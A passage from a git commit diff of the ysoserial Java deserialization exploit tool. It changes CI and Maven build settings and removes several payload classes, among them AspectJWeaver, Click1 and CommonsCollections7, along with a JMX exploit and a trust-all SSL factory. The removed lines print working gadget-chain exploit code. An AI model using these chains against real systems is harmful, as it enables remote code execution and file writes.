fix M2_HOME

.travis.yml

@@ -4,45 +4,17 @@ language: java
 cache:
   directories:
   - $HOME/.m2
-  - $HOME/.mvn/
 
-# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713
+# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
-addons:
+# Sun JDK 6 is not provided, because it is EOL as of November 2012.
-  apt:
+# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
-    packages:
+jdk:
-      - openjdk-6-jdk
+  - oraclejdk8    
-
+  #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
-before_install:
+  - openjdk8
-  - > # install mvn 3.2.5 for use with java6
+  - openjdk7
-      which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&
+  #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
-      curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |
-      tar xz -C $HOME/.mvn/3.2.5 --strip-components=1
-  - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi
-  - mvn -v
-
-after_script:
-  - > # print more detailed info about test results
-      cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |
-      grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
 
 matrix:
   allow_failures:
-    - jdk: oraclejdk11
-    - jdk: openjdk6
   - jdk: openjdk7
-    - jdk: openjdk9
-    - jdk: openjdk10
-    - jdk: openjdk11
-  include:
-    #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
-    - jdk: oraclejdk8
-    - jdk: oraclejdk11
-    - jdk: openjdk6
-      env: PATH=$HOME/.mvn/3.2.5/bin:$PATH
-    - jdk: openjdk7
-    - jdk: openjdk8
-    - jdk: openjdk9
-    - jdk: openjdk10
-    - jdk: openjdk11
-
-

Dockerfile

@@ -4,7 +4,6 @@ WORKDIR /app
 
 # download artifacts
 COPY pom.xml .
-COPY assembly.xml .
 RUN mvn dependency:resolve
 RUN mvn verify
 RUN mvn compiler:help

README.md

@@ -4,7 +4,7 @@
 [![Join the chat at https://gitter.im/frohoff/ysoserial](
     https://badges.gitter.im/frohoff/ysoserial.svg)](
     https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
 [![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
 [![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
@@ -17,7 +17,7 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
 
 Originally released as part of AppSecCali 2015 Talk
 ["Marshalling Pickles: how deserializing objects will ruin your day"](
-        https://frohoff.github.io/appseccali-marshalling-pickles/)
+        http://frohoff.github.io/appseccali-marshalling-pickles/)
 with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
 Later updated to include additional gadget chains for
 [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
@@ -47,10 +47,8 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
   Available payload types:
      Payload             Authors                     Dependencies
      -------             -------                     ------------
-     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
      BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
      C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
-     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
      Clojure             @JackOfMostTrades           clojure:1.8.0
      CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
      CommonsCollections1 @frohoff                    commons-collections:3.1
@@ -59,7 +57,6 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      CommonsCollections4 @frohoff                    commons-collections4:4.0
      CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
      CommonsCollections6 @matthias_kaiser            commons-collections:3.1
-     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
      FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
      Groovy1             @frohoff                    groovy:2.3.9
      Hibernate1          @mbechler
@@ -72,14 +69,12 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
      Jdk7u21             @frohoff
      Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
      MozillaRhino1       @matthias_kaiser            js:1.7R2
-     MozillaRhino2       @_tint0                     js:1.7R2
      Myfaces1            @mbechler
      Myfaces2            @mbechler
      ROME                @mbechler                   rome:1.0
      Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
      Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
      URLDNS              @gebl
-     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
      Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
 ```
 
@@ -105,7 +100,7 @@ $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 Common
 
 1. Download the latest jar from
 [JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
 
 Note that GitHub-hosted releases were removed in compliance with the

appveyor.yml

@@ -1,4 +1,5 @@
 # based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
+#          and http://www.yegor256.com/2015/01/10/windows-appveyor-maven.html
 
 # build version
 version: '{build}'
@@ -10,31 +11,43 @@ skip_tags: true
 environment:
   matrix:
     - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
-      M2_HOME: C:\bin\apache-maven-3.2.5
     - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
-      MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2
     - JAVA_HOME: C:\Program Files\Java\jdk1.8.0
+    - JAVA_HOME: C:\Program Files\Java\jdk9
 
 matrix:
   allow_failures:
     - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
     - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+    - JAVA_HOME: C:\Program Files\Java\jdk9    
 
-# install required tools (maven, secure-file, encrypted files)
+# install jdk6 compatible maven
 install:
-  - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums
+  - ps: |
+      Add-Type -AssemblyName System.IO.Compression.FileSystem
+      if (!(Test-Path -Path "C:\maven" )) {
+        (new-object System.Net.WebClient).DownloadFile(
+          'http://www.us.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip',
+          'C:\maven-bin.zip'
+        )
+        [System.IO.Compression.ZipFile]::ExtractToDirectory("C:\maven-bin.zip", "C:\maven")
+      }
+  - cmd: SET PATH=C:\maven\apache-maven-3.2.5\bin;%JAVA_HOME%\bin;%PATH%
+  - cmd: SET M2_HOME=C:\maven\apache-maven-3.2.5\
+  - cmd: echo %PATH%
   - cmd: echo %JAVA_HOME%
   - cmd: echo %M2_HOME%
+  - cmd: mvn -v
 
 # build and install artifacts
 build_script:
-  - '"%M2_HOME%\bin\mvn" clean install -DskipTests'
+  - mvn clean install -DskipTests
 
 # verify artifacts
 test_script:
-  - '"%M2_HOME%\bin\mvn" test'
+  - mvn test
 
 # preserve dependencies between builds
 cache:
+  - C:\maven
   - C:\Users\appveyor\.m2
-  - C:\bin\apache-maven-3.2.5

assembly.xml

@@ -1,28 +0,0 @@
-<assembly
-    xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
-    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-    xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
-    <id>fat-tests</id>
-    <formats>
-        <format>jar</format>
-    </formats>
-    <includeBaseDirectory>false</includeBaseDirectory>
-    <dependencySets>
-        <dependencySet>
-            <outputDirectory>/</outputDirectory>
-            <useProjectArtifact>true</useProjectArtifact>
-            <unpack>true</unpack>
-            <scope>test</scope>
-        </dependencySet>
-    </dependencySets>
-    <fileSets>
-        <fileSet>
-            <directory>${project.build.directory}/test-classes</directory>
-            <outputDirectory>/</outputDirectory>
-            <includes>
-                <include>**/*.class</include>
-            </includes>
-            <useDefaultExcludes>true</useDefaultExcludes>
-        </fileSet>
-    </fileSets>
-</assembly>

pom.xml

@@ -39,7 +39,9 @@
 							<mainClass>ysoserial.GeneratePayload</mainClass>
 						</manifest>
 					</archive>
-                    <descriptor>assembly.xml</descriptor>
+					<descriptorRefs>
+						<descriptorRef>jar-with-dependencies</descriptorRef>
+					</descriptorRefs>
 				</configuration>
 				<executions>
 					<execution>
@@ -54,7 +56,7 @@
 			<plugin>
 		        <groupId>org.apache.maven.plugins</groupId>
 		        <artifactId>maven-surefire-plugin</artifactId>
-                <version>3.0.0-M1</version>
+                <version>2.20</version>
 		        <configuration>
 			        <trimStackTrace>false</trimStackTrace>
 			        <systemPropertyVariables>
@@ -69,7 +71,7 @@
 		<repository>
 			<id>jenkins</id>
 			<layout>default</layout>
-			<url>https://repo.jenkins-ci.org/public/</url>
+			<url>http://repo.jenkins-ci.org/public/</url>
 		</repository>
 	</repositories>
 
@@ -113,7 +115,7 @@
 		<dependency>
 			<groupId>org.jboss.shrinkwrap.resolver</groupId>
 			<artifactId>shrinkwrap-resolver-depchain</artifactId>
-			<version>2.2.6</version>
+			<version>2.1.1</version>
 			<type>pom</type>
 		</dependency>
 		<dependency>
@@ -121,21 +123,11 @@
 			<artifactId>javassist</artifactId>
 			<version>3.19.0-GA</version>
 		</dependency>
-		<dependency>
-			<groupId>com.nqzero</groupId>
-			<artifactId>permit-reflect</artifactId>
-			<version>0.3</version>
-		</dependency>
 		<dependency>
 			<groupId>commons-codec</groupId>
 			<artifactId>commons-codec</artifactId>
 			<version>1.9</version>
 		</dependency>
-        <dependency>
-            <groupId>commons-io</groupId>
-            <artifactId>commons-io</artifactId>
-            <version>2.6</version>
-        </dependency>
 		<dependency>
 			<artifactId>remoting</artifactId>
 			<groupId>org.jenkins-ci.main</groupId>
@@ -311,71 +303,14 @@
 			<artifactId>slf4j-api</artifactId>
 			<version>1.7.21</version>
 		</dependency>
-        <dependency>
-            <groupId>org.slf4j</groupId>
-            <artifactId>slf4j-jdk14</artifactId>
-            <version>1.7.21</version>
-        </dependency>
 		<dependency>
 			<groupId>org.clojure</groupId>
 			<artifactId>clojure</artifactId>
 			<version>1.8.0</version>
 		</dependency>
-		<dependency>
-			<groupId>com.vaadin</groupId>
-			<artifactId>vaadin-server</artifactId>
-			<version>7.7.14</version>
-		</dependency>
-        <dependency>
-            <groupId>org.aspectj</groupId>
-            <artifactId>aspectjweaver</artifactId>
-            <version>1.9.5</version>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.click</groupId>
-            <artifactId>click-nodeps</artifactId>
-            <version>2.3.0</version>
-        </dependency>
 	</dependencies>
 
 	<profiles>
-        <profile>
-            <id>jdk6</id>
-            <activation>
-                <jdk>1.6</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <version>2.22.1</version>
-                    </plugin>
-                </plugins>
-            </build>
-            <dependencies>
-                <dependency>
-                    <groupId>javax.el</groupId>
-                    <artifactId>javax.el-api</artifactId>
-                    <version>3.0.0</version>
-                </dependency>
-            </dependencies>
-            <!-- workaround for non-overlapping TLS versions in JDK6 and central repo
-             https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->
-            <repositories>
-                <repository>
-                    <id>repo1</id>
-                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
-                </repository>
-            </repositories>
-            <pluginRepositories>
-                <pluginRepository>
-                    <id>repo1</id>
-                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
-                </pluginRepository>
-            </pluginRepositories>
-        </profile>
-
 		<profile>
 			<id>hibernate5</id>
 			<activation>
@@ -389,11 +324,6 @@
 					<artifactId>hibernate-core</artifactId>
 					<version>5.0.7.Final</version>
 				</dependency>
-                <dependency>
-                    <groupId>javax.el</groupId>
-                    <artifactId>javax.el-api</artifactId>
-                    <version>3.0.0</version>
-                </dependency>
 			</dependencies>
 		</profile>
 

src/main/java/ysoserial/exploit/JBoss.java

@@ -64,7 +64,6 @@ import org.xnio.ssl.JsseXnioSsl;
 import org.xnio.ssl.XnioSsl;
 
 import ysoserial.payloads.ObjectPayload.Utils;
-import ysoserial.payloads.util.Reflections;
 
 
 /**
@@ -273,7 +272,7 @@ public class JBoss {
         VersionedConnection vc;
         Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
         Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
-        Reflections.setAccessible(vcCreate);
+        vcCreate.setAccessible(true);
         vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
         return vc;
     }

src/main/java/ysoserial/exploit/JMXInvokeMBean.java

@@ -1,39 +0,0 @@
-package ysoserial.exploit;
-
-import javax.management.MBeanServerConnection;
-import javax.management.ObjectName;
-import javax.management.remote.JMXConnector;
-import javax.management.remote.JMXConnectorFactory;
-import javax.management.remote.JMXServiceURL;
-
-import ysoserial.payloads.ObjectPayload.Utils;
-
-/*
- * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
- * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
- * 
- */
-public class JMXInvokeMBean {
-
-	public static void main(String[] args) throws Exception {
-	
-		if ( args.length < 4 ) {
-			System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
-			System.exit(-1);
-		}
-    	
-		JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
-        
-		JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
-		MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
-
-		// create the payload
-		Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
-		ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
-
-		mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
-
-		//close the connection
-		jmxConnector.close();
-    }
-}

src/main/java/ysoserial/exploit/JenkinsCLI.java

@@ -24,7 +24,6 @@ import hudson.remoting.Channel;
 import hudson.remoting.Channel.Mode;
 import hudson.remoting.ChannelBuilder;
 import ysoserial.payloads.ObjectPayload.Utils;
-import ysoserial.payloads.util.Reflections;
 
 /**
  * Jenkins CLI client
@@ -74,7 +73,7 @@ public class JenkinsCLI {
             throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        Reflections.setAccessible(reqCons);
+        reqCons.setAccessible(true);
         Object getJarLoader = reqCons
                 .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
                     prop

src/main/java/ysoserial/exploit/JenkinsListener.java

@@ -117,7 +117,7 @@ public class JenkinsListener {
     private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        Reflections.setAccessible(reqCons);
+        reqCons.setAccessible(true);
         return reqCons
                 .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
                     uro,

src/main/java/ysoserial/exploit/RMIRegistryExploit.java

@@ -1,15 +1,9 @@
 package ysoserial.exploit;
 
-import java.io.IOException;
-import java.net.Socket;
-import java.rmi.ConnectIOException;
 import java.rmi.Remote;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
-import java.rmi.server.RMIClientSocketFactory;
-import java.security.cert.X509Certificate;
 import java.util.concurrent.Callable;
-import javax.net.ssl.*;
 
 import ysoserial.payloads.CommonsCollections1;
 import ysoserial.payloads.ObjectPayload;
@@ -26,41 +20,14 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
  */
 @SuppressWarnings({"rawtypes", "unchecked"})
 public class RMIRegistryExploit {
-	private static class TrustAllSSL implements X509TrustManager {
-		private static final X509Certificate[] ANY_CA = {};
-		public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
-		public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
-		public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
-	}
-
-	private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
-		public Socket createSocket(String host, int port) throws IOException {
-			try {
-				SSLContext ctx = SSLContext.getInstance("TLS");
-				ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
-				SSLSocketFactory factory = ctx.getSocketFactory();
-				return factory.createSocket(host, port);
-			} catch(Exception e) {
-				throw new IOException(e);
-			}
-		}
-	}
-
 	public static void main(final String[] args) throws Exception {
 		final String host = args[0];
 		final int port = Integer.parseInt(args[1]);
 		final String command = args[3];
-		Registry registry = LocateRegistry.getRegistry(host, port);
+		final Registry registry = LocateRegistry.getRegistry(host, port);
 		final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
 		final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
 
-		// test RMI registry connection and upgrade to SSL connection on fail
-		try {
-			registry.list();
-		} catch(ConnectIOException ex) {
-			registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
-		}
-
 		// ensure payload doesn't detonate during construction or deserialization
 		exploit(registry, payloadClass, command);
 	}

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -1,107 +0,0 @@
-package ysoserial.payloads;
-
-import org.apache.commons.codec.binary.Base64;
-import org.apache.commons.collections.Transformer;
-import org.apache.commons.collections.functors.ConstantTransformer;
-import org.apache.commons.collections.keyvalue.TiedMapEntry;
-import org.apache.commons.collections.map.LazyMap;
-import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
-
-import java.io.Serializable;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-
-/*
-Gadget chain:
-HashSet.readObject()
-    HashMap.put()
-        HashMap.hash()
-            TiedMapEntry.hashCode()
-                TiedMapEntry.getValue()
-                    LazyMap.get()
-                        SimpleCache$StorableCachingMap.put()
-                            SimpleCache$StorableCachingMap.writeToPath()
-                                FileOutputStream.write()
-
-Usage:
-args = "<filename>;<base64 content>"
-Example:
-java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
-
-More information:
-https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
- */
-@PayloadTest(skip="non RCE")
-@SuppressWarnings({"rawtypes", "unchecked"})
-@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
-@Authors({ Authors.JANG })
-
-public class AspectJWeaver implements ObjectPayload<Serializable> {
-
-    public Serializable getObject(final String command) throws Exception {
-        int sep = command.lastIndexOf(';');
-        if ( sep < 0 ) {
-            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
-        }
-        String[] parts = command.split(";");
-        String filename = parts[0];
-        byte[] content = Base64.decodeBase64(parts[1]);
-
-        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
-        Object simpleCache = ctor.newInstance(".", 12);
-        Transformer ct = new ConstantTransformer(content);
-        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
-        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
-        HashSet map = new HashSet(1);
-        map.add("foo");
-        Field f = null;
-        try {
-            f = HashSet.class.getDeclaredField("map");
-        } catch (NoSuchFieldException e) {
-            f = HashSet.class.getDeclaredField("backingMap");
-        }
-
-        Reflections.setAccessible(f);
-        HashMap innimpl = (HashMap) f.get(map);
-
-        Field f2 = null;
-        try {
-            f2 = HashMap.class.getDeclaredField("table");
-        } catch (NoSuchFieldException e) {
-            f2 = HashMap.class.getDeclaredField("elementData");
-        }
-
-        Reflections.setAccessible(f2);
-        Object[] array = (Object[]) f2.get(innimpl);
-
-        Object node = array[0];
-        if(node == null){
-            node = array[1];
-        }
-
-        Field keyField = null;
-        try{
-            keyField = node.getClass().getDeclaredField("key");
-        }catch(Exception e){
-            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
-        }
-
-        Reflections.setAccessible(keyField);
-        keyField.set(node, entry);
-
-        return map;
-
-    }
-
-    public static void main(String[] args) throws Exception {
-        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
-        PayloadRunner.run(AspectJWeaver.class, args);
-    }
-}

src/main/java/ysoserial/payloads/C3P0.java

@@ -38,7 +38,7 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  *
  */
-@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
+@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
 @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
 @Authors({ Authors.MBECHLER })
 public class C3P0 implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Click1.java

@@ -1,81 +0,0 @@
-package ysoserial.payloads;
-
-import org.apache.click.control.Column;
-import org.apache.click.control.Table;
-import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.util.Gadgets;
-import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
-
-import java.math.BigInteger;
-import java.util.Comparator;
-import java.util.PriorityQueue;
-
-/*
-    Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
-    We use java.util.PriorityQueue to trigger ColumnComparator.compare().
-    After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
-
-    Chain:
-
-    java.util.PriorityQueue.readObject()
-      java.util.PriorityQueue.heapify()
-        java.util.PriorityQueue.siftDown()
-          java.util.PriorityQueue.siftDownUsingComparator()
-            org.apache.click.control.Column$ColumnComparator.compare()
-              org.apache.click.control.Column.getProperty()
-                org.apache.click.control.Column.getProperty()
-                  org.apache.click.util.PropertyUtils.getValue()
-                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()
-                      java.lang.reflect.Method.invoke()
-                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
-                        ...
-
-    Arguments:
-    - command to execute
-
-    Yields:
-    - RCE via TemplatesImpl.getOutputProperties()
-
-    Requires:
-    - Apache Click
-    - servlet-api of any version
-
-    by @artsploit
-*/
-@SuppressWarnings({ "rawtypes", "unchecked" })
-@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
-@Authors({ Authors.ARTSPLOIT })
-public class Click1 implements ObjectPayload<Object> {
-
-    public Object getObject(final String command) throws Exception {
-
-        // prepare a Column.comparator with mock values
-        final Column column = new Column("lowestSetBit");
-        column.setTable(new Table());
-        Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
-
-        // create queue with numbers and our comparator
-        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
-        // stub data for replacement later
-        queue.add(new BigInteger("1"));
-        queue.add(new BigInteger("1"));
-
-        // switch method called by the comparator,
-        // so it will trigger getOutputProperties() when objects in the queue are compared
-        column.setName("outputProperties");
-
-        // finally, we inject and new TemplatesImpl object into the queue,
-        // so its getOutputProperties() method will be called
-        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
-        final Object templates = Gadgets.createTemplatesImpl(command);
-        queueArray[0] = templates;
-
-        return queue;
-    }
-
-    public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(Click1.class, args);
-    }
-}

src/main/java/ysoserial/payloads/CommonsCollections5.java

@@ -25,8 +25,9 @@ import ysoserial.payloads.util.Reflections;
 /*
 	Gadget chain:
 		ObjectInputStream.readObject()
-            BadAttributeValueExpException.readObject()
+			AnnotationInvocationHandler.readObject()
-                TiedMapEntry.toString()
+				Map(Proxy).entrySet()
+					AnnotationInvocationHandler.invoke()
 						LazyMap.get()
 							ChainedTransformer.transform()
 								ConstantTransformer.transform()
@@ -48,6 +49,7 @@ This only works in JDK 8u76 and WITHOUT a security manager
 
 https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
  */
+//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
 @SuppressWarnings({"rawtypes", "unchecked"})
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
@@ -80,7 +82,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
 
 		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 		Field valfield = val.getClass().getDeclaredField("val");
-        Reflections.setAccessible(valfield);
+		valfield.setAccessible(true);
 		valfield.set(val, entry);
 
 		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

src/main/java/ysoserial/payloads/CommonsCollections6.java

@@ -9,7 +9,6 @@ import org.apache.commons.collections.map.LazyMap;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
 
 import java.io.Serializable;
 import java.lang.reflect.Field;
@@ -71,7 +70,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             f = HashSet.class.getDeclaredField("backingMap");
         }
 
-        Reflections.setAccessible(f);
+        f.setAccessible(true);
         HashMap innimpl = (HashMap) f.get(map);
 
         Field f2 = null;
@@ -81,7 +80,8 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             f2 = HashMap.class.getDeclaredField("elementData");
         }
 
-        Reflections.setAccessible(f2);
+
+        f2.setAccessible(true);
         Object[] array = (Object[]) f2.get(innimpl);
 
         Object node = array[0];
@@ -96,7 +96,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
         }
 
-        Reflections.setAccessible(keyField);
+        keyField.setAccessible(true);
         keyField.set(node, entry);
 
         return map;

src/main/java/ysoserial/payloads/CommonsCollections7.java

@@ -1,87 +0,0 @@
-package ysoserial.payloads;
-
-import org.apache.commons.collections.Transformer;
-import org.apache.commons.collections.functors.ChainedTransformer;
-import org.apache.commons.collections.functors.ConstantTransformer;
-import org.apache.commons.collections.functors.InvokerTransformer;
-import org.apache.commons.collections.map.LazyMap;
-
-import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
-
-import java.util.HashMap;
-import java.util.Hashtable;
-import java.util.Map;
-
-/*
-    Payload method chain:
-
-    java.util.Hashtable.readObject
-    java.util.Hashtable.reconstitutionPut
-    org.apache.commons.collections.map.AbstractMapDecorator.equals
-    java.util.AbstractMap.equals
-    org.apache.commons.collections.map.LazyMap.get
-    org.apache.commons.collections.functors.ChainedTransformer.transform
-    org.apache.commons.collections.functors.InvokerTransformer.transform
-    java.lang.reflect.Method.invoke
-    sun.reflect.DelegatingMethodAccessorImpl.invoke
-    sun.reflect.NativeMethodAccessorImpl.invoke
-    sun.reflect.NativeMethodAccessorImpl.invoke0
-    java.lang.Runtime.exec
-*/
-
-@SuppressWarnings({"rawtypes", "unchecked"})
-@Dependencies({"commons-collections:commons-collections:3.1"})
-@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
-
-public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {
-
-    public Hashtable getObject(final String command) throws Exception {
-
